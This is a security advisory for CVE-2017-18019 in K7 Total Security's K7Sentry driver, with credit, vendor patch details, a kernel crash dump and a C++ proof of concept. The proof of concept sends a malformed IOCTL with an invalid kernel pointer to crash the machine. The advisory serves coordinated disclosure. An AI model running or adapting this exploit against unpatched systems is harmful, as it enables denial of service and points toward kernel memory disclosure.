## Vulnerability Summary
The following advisory describes an Crash found in K7 Total Security.

## Credit
An independent security researcher, Kyriakos Economou aka @kyREcon, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
K7 has released patches to address this vulnerability – K7TotalSecurity version 15.1.0.305

CVE: CVE-2017-18019

## Vulnerability details
User controlled input to K7Sentry device is not sufficiently sanitized, the user controlled input can be used to compare an arbitrary memory address with a fixed value which in turn can be used to read the content of arbitrary memory.

## Crash report
By sending invalid kernel pointer we can crash the K7 Total Security process as shown here:

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: f8f8f8f8, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 88c93a63, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 00000002, (reserved)

## Proof of Concept

The PoC has been tested on Windows 7 x86

```
#include <Windows.h>
#include <iostream>
using namespace std;

int wmain()
{

    HANDLE hDevice = CreateFileW(L"\\\\.\\K7Sentry", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);

    if(hDevice == INVALID_HANDLE_VALUE)
    {
        cout << endl << "Failed accessing K7Sentry Device Driver. Error: " << dec << GetLastError() << endl;
        cin.get();
        return 0;
    }

    BYTE dummyBuf[0x20];
    memset(dummyBuf, 0, sizeof(dummyBuf));

    *(ULONG_PTR*)dummyBuf = 0xF8F8F8F8; //INVALID KERNEL POINTER TO TRIGGER PAGE FAULT POC.

    cout << endl << "Sending malformed IOCTL..." << endl;

    DWORD bytesReturned = 0;

    DeviceIoControl(hDevice, 0x9500286B, dummyBuf, sizeof(dummyBuf), dummyBuf, sizeof(dummyBuf), &bytesReturned, NULL);

    cin.get();
    return 0;
}
```
